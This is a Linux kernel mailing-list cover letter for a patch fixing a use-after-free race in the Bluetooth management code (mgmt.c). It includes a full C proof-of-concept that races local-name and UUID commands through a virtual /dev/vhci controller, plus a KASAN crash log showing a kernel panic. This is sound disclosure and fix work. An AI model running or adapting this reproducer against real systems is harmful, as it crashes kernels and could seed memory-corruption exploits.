All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH 0/1] Bluetooth: fix pending command UAF in EIR updates
@ 2026-07-23 16:43 Ren Wei
  2026-07-23 16:43 ` [PATCH 1/1] Bluetooth: mgmt: " Ren Wei
  0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-23 16:43 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: marcel, luiz.dentz, dmantipov, vega, zihanx, enjou1224z

From: Zihan Xi <zihanx@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated a bug in net/bluetooth/mgmt.c. The bug is
reachable by a root process via the Bluetooth management control socket
and a virtual HCI controller created through /dev/vhci. We've tested the
fix with the reproducer, and it should not affect other management
commands.

This series contains one patch:
  1/1 Bluetooth: mgmt: fix pending command UAF in EIR updates

We provide bug details, reproducer steps, and a crash log below.

---- details below ----

Bug details:

MGMT_OP_SET_LOCAL_NAME is handled asynchronously on powered controllers
and can run set_name_sync(). On a BR/EDR capable controller,
set_name_sync() updates the local name and then calls
hci_update_eir_sync(), which rebuilds EIR data. The EIR generation path
walks hdev->uuids while UUID management commands can add or remove
entries.

The helper pending_eir_or_class() is intended to serialize management
commands that can affect EIR or the class of device. However, it did not
include MGMT_OP_SET_LOCAL_NAME, so a powered local-name update could run
together with ADD_UUID or REMOVE_UUID. In addition,
pending_eir_or_class() walked hdev->mgmt_pending without holding
hdev->mgmt_pending_lock, although pending commands are added and removed
under that mutex. A command completion can therefore remove and free a
pending command while another thread is still inspecting it.

The patch takes hdev->mgmt_pending_lock while scanning hdev->mgmt_pending
and treats MGMT_OP_SET_LOCAL_NAME as an EIR/class-affecting command on
the powered asynchronous path. The busy check is done before copying the
new short name, so a rejected SET_LOCAL_NAME request does not modify
hdev->short_name.

The EIR/local-name serialization gap predates the hci_sync conversion.
For this UAF, the suitable stable/backport anchor is 6fe26f694c82,
which introduced hdev->mgmt_pending_lock and made the pending-command
list locking contract explicit while leaving pending_eir_or_class() as
an unlocked walker of the same list.

Reproducer:

  Host:
    gcc -O2 -g -Wall -Wextra -pthread -static -Icompat \
        -include endian.h -o poc.static poc.c -pthread
    make O=/var/cache/linux-patch/fix-bluetooth-eir-uaf-q7c-build \
        -j32 bzImage
    qemu-start-kernel.sh /var/cache/linux-patch/fix-bluetooth-eir-uaf-q7c \
        -r /mnt/d/WSL/ubuntu-home-lenovo/kernel-image

  Guest:
    cp poc.static /root/poc
    cp poc.sh /root/poc.sh
    chmod +x /root/poc /root/poc.sh
    /root/poc.sh 512 180

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

The stack trace below was decoded from the original QEMU log before
being inserted here.

------BEGIN poc.sh------

#!/bin/sh
set -eu

COUNT="${1:-512}"
DURATION="${2:-180}"

echo 0 > /proc/sys/kernel/panic_on_warn
dmesg -C || true

exec /root/poc "$COUNT" "$DURATION"

------END poc.sh--------

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define MGMT_OP_SET_POWERED        0x0005
#define MGMT_OP_SET_SSP            0x000b
#define MGMT_OP_SET_LOCAL_NAME     0x000f
#define MGMT_OP_ADD_UUID           0x0010
#define MGMT_OP_REMOVE_UUID        0x0011

#define MGMT_EV_CMD_COMPLETE       0x0001
#define MGMT_EV_CMD_STATUS         0x0002
#define MGMT_EV_INDEX_ADDED        0x0004

#define MGMT_STATUS_SUCCESS        0x00
#define MGMT_STATUS_BUSY           0x0a
#define MGMT_STATUS_INVALID_PARAMS 0x0d

#define MGMT_MAX_NAME_LENGTH       249
#define MGMT_MAX_SHORT_NAME_LENGTH 11

#define HCI_EV_CMD_COMPLETE        0x0e
#define HCI_OP_SET_EVENT_MASK      0x0c01
#define HCI_OP_RESET               0x0c03
#define HCI_OP_SET_EVENT_FLT       0x0c05
#define HCI_OP_WRITE_LOCAL_NAME    0x0c13
#define HCI_OP_READ_LOCAL_NAME     0x0c14
#define HCI_OP_WRITE_CA_TIMEOUT    0x0c16
#define HCI_OP_READ_STORED_LINK_KEY 0x0c0d
#define HCI_OP_WRITE_SCAN_ENABLE   0x0c1a
#define HCI_OP_WRITE_AUTH_ENABLE   0x0c20
#define HCI_OP_READ_CLASS_OF_DEV   0x0c23
#define HCI_OP_WRITE_CLASS_OF_DEV  0x0c24
#define HCI_OP_READ_VOICE_SETTING  0x0c25
#define HCI_OP_READ_NUM_SUPPORTED_IAC 0x0c38
#define HCI_OP_READ_CURRENT_IAC_LAP   0x0c39
#define HCI_OP_WRITE_INQUIRY_MODE  0x0c45
#define HCI_OP_WRITE_EIR           0x0c52
#define HCI_OP_WRITE_SSP_MODE      0x0c56
#define HCI_OP_READ_INQ_RSP_TX_POWER 0x0c58
#define HCI_OP_READ_LOCAL_VERSION  0x1001
#define HCI_OP_READ_LOCAL_COMMANDS 0x1002
#define HCI_OP_READ_LOCAL_FEATURES 0x1003
#define HCI_OP_READ_LOCAL_EXT_FEATURES 0x1004
#define HCI_OP_READ_BUFFER_SIZE    0x1005
#define HCI_OP_READ_BD_ADDR        0x1009

#define DEFAULT_UUID_COUNT         512
#define DEFAULT_DURATION_SEC       60
#define NAME_THREADS              1
#define CTRL_PATH                  "/dev/vhci"

struct mgmt_hdr {
	uint16_t opcode;
	uint16_t index;
	uint16_t len;
} __attribute__((packed));

struct mgmt_mode {
	uint8_t val;
} __attribute__((packed));

struct mgmt_cp_set_local_name {
	uint8_t name[MGMT_MAX_NAME_LENGTH];
	uint8_t short_name[MGMT_MAX_SHORT_NAME_LENGTH];
} __attribute__((packed));

struct mgmt_cp_add_uuid {
	uint8_t uuid[16];
	uint8_t svc_hint;
} __attribute__((packed));

struct mgmt_cp_remove_uuid {
	uint8_t uuid[16];
} __attribute__((packed));

struct mgmt_ev_cmd_complete {
	uint16_t opcode;
	uint8_t status;
	uint8_t data[];
} __attribute__((packed));

struct mgmt_ev_cmd_status {
	uint16_t opcode;
	uint8_t status;
} __attribute__((packed));

struct hci_command_hdr_le {
	uint16_t opcode;
	uint8_t plen;
} __attribute__((packed));

struct hci_rp_read_local_version {
	uint8_t status;
	uint8_t hci_ver;
	uint16_t hci_rev;
	uint8_t lmp_ver;
	uint16_t manufacturer;
	uint16_t lmp_subver;
} __attribute__((packed));

struct hci_rp_read_bd_addr {
	uint8_t status;
	bdaddr_t bdaddr;
} __attribute__((packed));

struct hci_rp_read_local_features {
	uint8_t status;
	uint8_t features[8];
} __attribute__((packed));

struct hci_rp_read_local_commands {
	uint8_t status;
	uint8_t commands[64];
} __attribute__((packed));

struct hci_rp_read_stored_link_key {
	uint8_t status;
	uint16_t max_keys;
	uint16_t num_keys;
} __attribute__((packed));

struct hci_rp_read_buffer_size {
	uint8_t status;
	uint16_t acl_mtu;
	uint8_t sco_mtu;
	uint16_t acl_max_pkt;
	uint16_t sco_max_pkt;
} __attribute__((packed));

struct hci_rp_read_class_of_dev {
	uint8_t status;
	uint8_t dev_class[3];
} __attribute__((packed));

struct hci_rp_read_local_name {
	uint8_t status;
	uint8_t name[248];
} __attribute__((packed));

struct hci_rp_read_voice_setting {
	uint8_t status;
	uint16_t voice_setting;
} __attribute__((packed));

struct hci_rp_read_num_supported_iac {
	uint8_t status;
	uint8_t num_iac;
} __attribute__((packed));

struct hci_rp_read_current_iac_lap {
	uint8_t status;
	uint8_t num_iac;
	uint8_t lap[3];
} __attribute__((packed));

struct hci_rp_read_inq_rsp_tx_power {
	uint8_t status;
	int8_t tx_power;
} __attribute__((packed));

struct hci_rp_read_local_ext_features {
	uint8_t status;
	uint8_t page;
	uint8_t max_page;
	uint8_t features[8];
} __attribute__((packed));

static const uint8_t race_uuid[16] = {
	0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe,
	0x11, 0x22, 0x33, 0x44, 0xaa, 0xbb, 0xcc, 0xdd,
};

static volatile sig_atomic_t stop_flag;
static int vhci_fd = -1;
static uint16_t hci_index = HCI_DEV_NONE;
static int uuid_count = DEFAULT_UUID_COUNT;
static int duration_sec = DEFAULT_DURATION_SEC;
static unsigned long name_cmd_seq;
static pthread_mutex_t log_lock = PTHREAD_MUTEX_INITIALIZER;

static void die(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fputc('\n', stderr);
	exit(EXIT_FAILURE);
}

static void log_msg(const char *fmt, ...)
{
	va_list ap;

	pthread_mutex_lock(&log_lock);
	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fputc('\n', stderr);
	pthread_mutex_unlock(&log_lock);
}

static void set_timeouts(int fd)
{
	struct timeval tv = {
		.tv_sec = 2,
		.tv_usec = 0,
	};

	if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0)
		die("setsockopt(SO_RCVTIMEO): %s", strerror(errno));
}

static int open_mgmt_socket(void)
{
	struct sockaddr_hci addr;
	int fd;

	fd = socket(AF_BLUETOOTH, SOCK_RAW | SOCK_CLOEXEC, BTPROTO_HCI);
	if (fd < 0)
		die("socket(AF_BLUETOOTH): %s", strerror(errno));

	memset(&addr, 0, sizeof(addr));
	addr.hci_family = AF_BLUETOOTH;
	addr.hci_dev = HCI_DEV_NONE;
	addr.hci_channel = HCI_CHANNEL_CONTROL;

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind(HCI_CHANNEL_CONTROL): %s", strerror(errno));

	set_timeouts(fd);
	return fd;
}

static void drain_mgmt_socket(int fd)
{
	uint8_t buf[512];

	for (;;) {
		ssize_t n = read(fd, buf, sizeof(buf));

		if (n < 0) {
			if (errno == EAGAIN || errno == EWOULDBLOCK)
				return;
			die("read(mgmt): %s", strerror(errno));
		}
	}
}

static int mgmt_cmd(int fd, uint16_t opcode, uint16_t index,
		    const void *data, uint16_t len)
{
	uint8_t buf[1024];
	struct mgmt_hdr *hdr = (struct mgmt_hdr *)buf;
	size_t off = 0;

	memset(buf, 0, sizeof(buf));

	hdr->opcode = htole16(opcode);
	hdr->index = htole16(index);
	hdr->len = htole16(len);
	off += sizeof(*hdr);

	if (len > 0) {
		memcpy(buf + off, data, len);
		off += len;
	}

	if (write(fd, buf, off) != (ssize_t)off)
		die("write(mgmt 0x%04x): %s", opcode, strerror(errno));

	for (;;) {
		ssize_t n = read(fd, buf, sizeof(buf));
		struct mgmt_hdr *ev_hdr;

		if (n < 0) {
			if (errno == EAGAIN || errno == EWOULDBLOCK)
				return -ETIMEDOUT;
			die("read(mgmt response): %s", strerror(errno));
		}

		if ((size_t)n < sizeof(*ev_hdr))
			continue;

		ev_hdr = (struct mgmt_hdr *)buf;

		switch (le16toh(ev_hdr->opcode)) {
		case MGMT_EV_CMD_COMPLETE: {
			struct mgmt_ev_cmd_complete *cc;

			if (le16toh(ev_hdr->len) < sizeof(*cc))
				continue;
			cc = (struct mgmt_ev_cmd_complete *)(buf + sizeof(*ev_hdr));
			if (le16toh(cc->opcode) != opcode)
				continue;
			return cc->status ? -cc->status : 0;
		}
		case MGMT_EV_CMD_STATUS: {
			struct mgmt_ev_cmd_status *st;

			if (le16toh(ev_hdr->len) < sizeof(*st))
				continue;
			st = (struct mgmt_ev_cmd_status *)(buf + sizeof(*ev_hdr));
			if (le16toh(st->opcode) != opcode)
				continue;
			return st->status ? -st->status : 0;
		}
		default:
			break;
		}
	}
}

static void send_cc(int fd, uint16_t opcode, const void *rp, size_t rp_len)
{
	uint8_t buf[512];
	size_t len = 0;
	size_t off = 0;

	buf[len++] = HCI_EVENT_PKT;
	buf[len++] = HCI_EV_CMD_COMPLETE;
	buf[len++] = (uint8_t)(3 + rp_len);
	buf[len++] = 0x01;
	buf[len++] = opcode & 0xff;
	buf[len++] = opcode >> 8;
	if (rp_len > 0) {
		memcpy(buf + len, rp, rp_len);
		len += rp_len;
	}

	while (off < len) {
		ssize_t n = write(fd, buf + off, len - off);

		if (n > 0) {
			off += n;
			continue;
		}

		if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
			struct pollfd pfd = {
				.fd = fd,
				.events = POLLOUT,
			};
			int ret = poll(&pfd, 1, 1000);

			if (ret == 0)
				die("poll(POLLOUT /dev/vhci): timed out");
			if (ret < 0 && errno != EINTR)
				die("poll(POLLOUT /dev/vhci): %s", strerror(errno));
			continue;
		}

		if (n < 0 && errno == EINTR)
			continue;

		die("write(vhci cmd complete): %s", strerror(errno));
	}
}

static void send_status_only(int fd, uint16_t opcode, uint8_t status)
{
	send_cc(fd, opcode, &status, sizeof(status));
}

static void handle_command_packet(const uint8_t *buf, size_t len)
{
	const struct hci_command_hdr_le *cmd;
	uint16_t opcode;

	if (len < 1 + sizeof(*cmd))
		return;

	if (buf[0] != HCI_COMMAND_PKT)
		return;

	cmd = (const struct hci_command_hdr_le *)(buf + 1);
	opcode = le16toh(cmd->opcode);

	switch (opcode) {
	case HCI_OP_RESET:
	case HCI_OP_SET_EVENT_MASK:
	case HCI_OP_SET_EVENT_FLT:
	case HCI_OP_WRITE_CA_TIMEOUT:
	case HCI_OP_WRITE_SSP_MODE:
	case HCI_OP_WRITE_AUTH_ENABLE:
	case HCI_OP_WRITE_INQUIRY_MODE:
	case HCI_OP_WRITE_EIR:
	case HCI_OP_WRITE_SCAN_ENABLE:
	case HCI_OP_WRITE_CLASS_OF_DEV:
		send_status_only(vhci_fd, opcode, 0x00);
		break;
	case HCI_OP_WRITE_LOCAL_NAME:
		__atomic_add_fetch(&name_cmd_seq, 1, __ATOMIC_RELAXED);
		usleep(100);
		send_status_only(vhci_fd, opcode, 0x00);
		break;
	case HCI_OP_READ_LOCAL_VERSION: {
		struct hci_rp_read_local_version rp = {
			.status = 0x00,
			.hci_ver = 0x09,
			.hci_rev = htole16(0x0001),
			.lmp_ver = 0x09,
			.manufacturer = htole16(0x000f),
			.lmp_subver = htole16(0x0001),
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_BD_ADDR: {
		struct hci_rp_read_bd_addr rp;

		memset(&rp, 0, sizeof(rp));
		rp.status = 0x00;
		rp.bdaddr.b[0] = 0xbc;
		rp.bdaddr.b[1] = 0x9a;
		rp.bdaddr.b[2] = 0x78;
		rp.bdaddr.b[3] = 0x56;
		rp.bdaddr.b[4] = 0x34;
		rp.bdaddr.b[5] = 0x12;
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_LOCAL_FEATURES: {
		struct hci_rp_read_local_features rp;

		memset(&rp, 0, sizeof(rp));
		rp.status = 0x00;
		rp.features[3] = LMP_RSSI_INQ;
		rp.features[6] = LMP_EXT_INQ | LMP_SIMPLE_PAIR;
		rp.features[7] = LMP_INQ_TX_PWR | LMP_EXT_FEAT;
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_LOCAL_COMMANDS: {
		struct hci_rp_read_local_commands rp;

		memset(&rp, 0x00, sizeof(rp));
		rp.status = 0x00;
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_STORED_LINK_KEY: {
		struct hci_rp_read_stored_link_key rp = {
			.status = 0x00,
			.max_keys = htole16(0),
			.num_keys = htole16(0),
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_BUFFER_SIZE: {
		struct hci_rp_read_buffer_size rp = {
			.status = 0x00,
			.acl_mtu = htole16(1021),
			.sco_mtu = 64,
			.acl_max_pkt = htole16(8),
			.sco_max_pkt = htole16(8),
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_CLASS_OF_DEV: {
		struct hci_rp_read_class_of_dev rp = {
			.status = 0x00,
			.dev_class = { 0x00, 0x00, 0x00 },
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_LOCAL_NAME: {
		struct hci_rp_read_local_name rp;

		memset(&rp, 0, sizeof(rp));
		rp.status = 0x00;
		memcpy(rp.name, "vhci-race", sizeof("vhci-race") - 1);
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_VOICE_SETTING: {
		struct hci_rp_read_voice_setting rp = {
			.status = 0x00,
			.voice_setting = htole16(0x0060),
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_NUM_SUPPORTED_IAC: {
		struct hci_rp_read_num_supported_iac rp = {
			.status = 0x00,
			.num_iac = 0x01,
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_CURRENT_IAC_LAP: {
		struct hci_rp_read_current_iac_lap rp = {
			.status = 0x00,
			.num_iac = 0x01,
			.lap = { 0x33, 0x8b, 0x9e },
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_INQ_RSP_TX_POWER: {
		struct hci_rp_read_inq_rsp_tx_power rp = {
			.status = 0x00,
			.tx_power = 0,
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_LOCAL_EXT_FEATURES: {
		struct hci_rp_read_local_ext_features rp;

		memset(&rp, 0, sizeof(rp));
		rp.status = 0x00;
		rp.page = 0x01;
		rp.max_page = 0x01;
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	default:
		send_status_only(vhci_fd, opcode, 0x00);
		break;
	}
}

static void *controller_thread(void *unused)
{
	uint8_t buf[512];

	(void)unused;

	while (!stop_flag) {
		ssize_t n = read(vhci_fd, buf, sizeof(buf));

		if (n < 0) {
			if (errno == EAGAIN || errno == EWOULDBLOCK) {
				struct pollfd pfd = {
					.fd = vhci_fd,
					.events = POLLIN,
				};
				int ret = poll(&pfd, 1, 1000);

				if (ret < 0 && errno != EINTR)
					die("poll(POLLIN /dev/vhci): %s", strerror(errno));
				continue;
			}
			if (errno == EINTR)
				continue;
			die("read(/dev/vhci): %s", strerror(errno));
		}

		if (n == 0)
			continue;

		if (buf[0] == HCI_VENDOR_PKT && n >= 4) {
			hci_index = buf[2] | (buf[3] << 8);
			log_msg("vhci controller index: %u", hci_index);
			continue;
		}

		handle_command_packet(buf, n);
	}

	return NULL;
}

static void wait_for_hci_index(void)
{
	for (int i = 0; i < 100; i++) {
		if (hci_index != HCI_DEV_NONE)
			return;
		usleep(100000);
	}

	die("timed out waiting for vhci controller creation");
}

static void setup_controller_state(void)
{
	struct mgmt_mode on = { .val = 1 };
	int fd, err;

	fd = open_mgmt_socket();
	drain_mgmt_socket(fd);

	err = mgmt_cmd(fd, MGMT_OP_SET_SSP, hci_index, &on, sizeof(on));
	if (err)
		die("MGMT_OP_SET_SSP failed: %d", err);

	err = mgmt_cmd(fd, MGMT_OP_SET_POWERED, hci_index, &on, sizeof(on));
	if (err)
		die("MGMT_OP_SET_POWERED failed: %d", err);

	close(fd);
}

static void add_uuid_batch(void)
{
	struct mgmt_cp_add_uuid add;
	int fd;

	memset(&add, 0, sizeof(add));
	memcpy(add.uuid, race_uuid, sizeof(add.uuid));

	fd = open_mgmt_socket();
	drain_mgmt_socket(fd);

	for (int i = 0; i < uuid_count && !stop_flag; i++) {
		int err = mgmt_cmd(fd, MGMT_OP_ADD_UUID, hci_index,
				   &add, sizeof(add));

		if (err && err != -MGMT_STATUS_BUSY)
			die("MGMT_OP_ADD_UUID failed at %d: %d", i, err);
	}

	close(fd);
}

static void *name_thread(void *unused)
{
	struct mgmt_cp_set_local_name req;
	int fd, iter = 0;

	(void)unused;

	fd = open_mgmt_socket();
	drain_mgmt_socket(fd);

	memset(&req, 0, sizeof(req));

	while (!stop_flag) {
		int err;

		snprintf((char *)req.name, sizeof(req.name), "race-name-%08x", iter++);
		snprintf((char *)req.short_name, sizeof(req.short_name), "rn%06x",
			 iter);

		err = mgmt_cmd(fd, MGMT_OP_SET_LOCAL_NAME, hci_index,
			       &req, sizeof(req));
		if (err && err != -MGMT_STATUS_BUSY)
			log_msg("set_local_name returned %d", err);
	}

	close(fd);
	return NULL;
}

static void *mutator_thread(void *unused)
{
	struct mgmt_cp_add_uuid add;
	struct mgmt_cp_remove_uuid del;
	int fd;
	unsigned long seen;

	(void)unused;

	memset(&add, 0, sizeof(add));
	memset(&del, 0, sizeof(del));
	memcpy(add.uuid, race_uuid, sizeof(add.uuid));
	memcpy(del.uuid, race_uuid, sizeof(del.uuid));

	fd = open_mgmt_socket();
	drain_mgmt_socket(fd);
	seen = __atomic_load_n(&name_cmd_seq, __ATOMIC_RELAXED);

	while (!stop_flag) {
		while (!stop_flag) {
			unsigned long cur = __atomic_load_n(&name_cmd_seq,
							    __ATOMIC_RELAXED);

			if (cur != seen) {
				seen = cur;
				break;
			}

			usleep(50);
		}

		if (stop_flag)
			break;

		{
			int err = mgmt_cmd(fd, MGMT_OP_REMOVE_UUID, hci_index,
					   &del, sizeof(del));

			if (err && err != -MGMT_STATUS_BUSY &&
			    err != -MGMT_STATUS_INVALID_PARAMS)
				log_msg("remove_uuid returned %d", err);
		}

		for (int i = 0; i < uuid_count && !stop_flag; i++) {
			int err = mgmt_cmd(fd, MGMT_OP_ADD_UUID, hci_index,
					   &add, sizeof(add));

			if (err && err != -MGMT_STATUS_BUSY)
				log_msg("add_uuid returned %d at %d", err, i);
		}
	}

	close(fd);
	return NULL;
}

static void usage(const char *prog)
{
	fprintf(stderr, "Usage: %s [uuid_count] [duration_sec]\n", prog);
	exit(EXIT_FAILURE);
}

int main(int argc, char **argv)
{
	pthread_t ctrl, namer[NAME_THREADS], mutator;
	time_t end_time;

	if (argc > 3)
		usage(argv[0]);
	if (argc >= 2)
		uuid_count = atoi(argv[1]);
	if (argc == 3)
		duration_sec = atoi(argv[2]);
	if (uuid_count <= 0 || duration_sec <= 0)
		usage(argv[0]);

	signal(SIGPIPE, SIG_IGN);

	vhci_fd = open(CTRL_PATH, O_RDWR | O_CLOEXEC | O_NONBLOCK);
	if (vhci_fd < 0)
		die("open(%s): %s", CTRL_PATH, strerror(errno));

	if (pthread_create(&ctrl, NULL, controller_thread, NULL) != 0)
		die("pthread_create(controller_thread): %s", strerror(errno));

	wait_for_hci_index();
	setup_controller_state();

	log_msg("pre-filling %d UUIDs", uuid_count);
	add_uuid_batch();
	log_msg("prefill complete");

	for (int i = 0; i < NAME_THREADS; i++) {
		if (pthread_create(&namer[i], NULL, name_thread, NULL) != 0)
			die("pthread_create(name_thread): %s", strerror(errno));
	}
	if (pthread_create(&mutator, NULL, mutator_thread, NULL) != 0)
		die("pthread_create(mutator_thread): %s", strerror(errno));

	end_time = time(NULL) + duration_sec;
	while (!stop_flag && time(NULL) < end_time)
		sleep(1);

	stop_flag = 1;
	for (int i = 0; i < NAME_THREADS; i++)
		pthread_join(namer[i], NULL);
	pthread_join(mutator, NULL);
	pthread_cancel(ctrl);
	pthread_join(ctrl, NULL);
	close(vhci_fd);

	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  731.804442][T10611] Oops: general protection fault, probably for non-canonical address 0xfbd59c0000000022: 0000 [#1] SMP KASAN NOPTI
[  731.806236][T10611] KASAN: maybe wild-memory-access in range [0xdead000000000110-0xdead000000000117]
[  731.807527][T10611] CPU: 2 UID: 0 PID: 10611 Comm: poc Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[  731.808802][T10611] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  731.810176][T10611] RIP: 0010:add_uuid (net/bluetooth/mgmt.c:2704)
[  731.811002][T10611] Code: fc ff df eb 1a 48 89 d8 48 c1 e8 03 42 80 3c 38 00 0f 85 ba 03 00 00 48 8b 1b 48 39 d3 74 7a 48 8d 7b 10 48 89 f8 48 c1 e8 03 <42> 0f b6 04 38 84 c0 74 08 3c 01 0f 8e 82 03 00 00 0f b7 43 10 66
[  731.813503][T10611] RSP: 0018:ffa000000a4d7ad8 EFLAGS: 00010216
[  731.814181][T10611] RAX: 1bd5a00000000022 RBX: dead000000000100 RCX: 0000000000034020
[  731.815019][T10611] RDX: ff1100010e0dd1e8 RSI: ffffffff8b0e9640 RDI: dead000000000110
[  731.815863][T10611] RBP: ff1100010be4804e R08: 0000000000000000 R09: fffffbfff21299a2
[  731.816694][T10611] R10: ffa000000a4d7ad8 R11: 0000000080000000 R12: ff110001103d0800
[  731.817527][T10611] R13: ff1100010e0dc000 R14: ff1100010e0dc058 R15: dffffc0000000000
[  731.818348][T10611] FS:  00007f83a86ce6c0(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000
[  731.819293][T10611] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  731.820006][T10611] CR2: 000055f56324dda4 CR3: 000000010b123000 CR4: 0000000000751ef0
[  731.820865][T10611] PKRU: 55555554
[  731.821262][T10611] Call Trace:
[  731.821627][T10611]  <TASK>
[  731.821946][T10611]  ? _raw_read_unlock (arch/x86/include/asm/preempt.h:104)
[  731.822581][T10611]  hci_sock_sendmsg (arch/x86/include/asm/bitops.h:202)
[  731.823137][T10611]  ? __pfx_hci_sock_sendmsg+0x10/0x10
[  731.823717][T10611]  ? __pfx_hci_sock_recvmsg+0x10/0x10
[  731.824293][T10611]  sock_write_iter (net/socket.c:1224)
[  731.824867][T10611]  ? __pfx_sock_write_iter+0x10/0x10
[  731.825450][T10611]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[  731.826133][T10611]  ? security_file_permission (arch/x86/include/asm/jump_label.h:37)
[  731.826834][T10611]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[  731.827438][T10611]  ? rw_verify_area (fs/read_write.c:462)
[  731.828011][T10611]  vfs_write (include/linux/percpu-rwsem.h:65)
[  731.828472][T10611]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[  731.829074][T10611]  ? __pfx_vfs_write+0x10/0x10
[  731.829623][T10611]  ksys_write (fs/read_write.c:741)
[  731.830093][T10611]  ? __pfx_ksys_write+0x10/0x10
[  731.830623][T10611]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[  731.831213][T10611]  ? rcu_is_watching (include/linux/context_tracking.h:128)
[  731.831841][T10611]  do_syscall_64 (include/linux/thread_info.h:142)
[  731.832372][T10611]  ? irqentry_exit (arch/x86/include/asm/processor.h:720)
[  731.832818][T10611]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:138)
[  731.833193][T10611] RIP: 0033:0x7f83a976e9ee
[  731.833503][T10611] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[  731.834714][T10611] RSP: 002b:00007f83a86cd988 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[  731.835239][T10611] RAX: ffffffffffffffda RBX: 00007f83a86ce6c0 RCX: 00007f83a976e9ee
[  731.835763][T10611] RDX: 0000000000000017 RSI: 00007f83a86cd9f0 RDI: 0000000000000005
[  731.836268][T10611] RBP: 00007f83a86cd9f0 R08: 0000000000000000 R09: 0000000000000000
[  731.836789][T10611] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000010
[  731.837294][T10611] R13: 0000000000000017 R14: 0000000000000010 R15: 00000000000000b0
[  731.837858][T10611]  </TASK>
[  731.838058][T10611] Modules linked in:
[  731.838587][T10611] ---[ end trace 0000000000000000 ]---
[  731.840804][T10611] RIP: 0010:add_uuid (net/bluetooth/mgmt.c:2704)
[  731.841164][T10611] Code: fc ff df eb 1a 48 89 d8 48 c1 e8 03 42 80 3c 38 00 0f 85 ba 03 00 00 48 8b 1b 48 39 d3 74 7a 48 8d 7b 10 48 89 f8 48 c1 e8 03 <42> 0f b6 04 38 84 c0 74 08 3c 01 0f 8e 82 03 00 00 0f b7 43 10 66
[  731.843673][T10611] RSP: 0018:ffa000000a4d7ad8 EFLAGS: 00010216
[  731.844417][T10611] RAX: 1bd5a00000000022 RBX: dead000000000100 RCX: 0000000000034020
[  731.845411][T10611] RDX: ff1100010e0dd1e8 RSI: ffffffff8b0e9640 RDI: dead000000000110
[  731.846480][T10611] RBP: ff1100010be4804e R08: 0000000000000000 R09: fffffbfff21299a2
[  731.847510][T10611] R10: ffa000000a4d7ad8 R11: 0000000080000000 R12: ff110001103d0800
[  731.848574][T10611] R13: ff1100010e0dc000 R14: ff1100010e0dc058 R15: dffffc0000000000
[  731.849732][T10611] FS:  00007f83a86ce6c0(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000
[  731.850909][T10611] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  731.851823][T10611] CR2: 000055f56324dda4 CR3: 000000010b123000 CR4: 0000000000751ef0
[  731.852857][T10611] PKRU: 55555554
[  731.853343][T10611] Kernel panic - not syncing: Fatal exception
[  731.854585][T10611] Kernel Offset: disabled
[  731.855196][T10611] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  Bluetooth: mgmt: fix pending command UAF in EIR updates

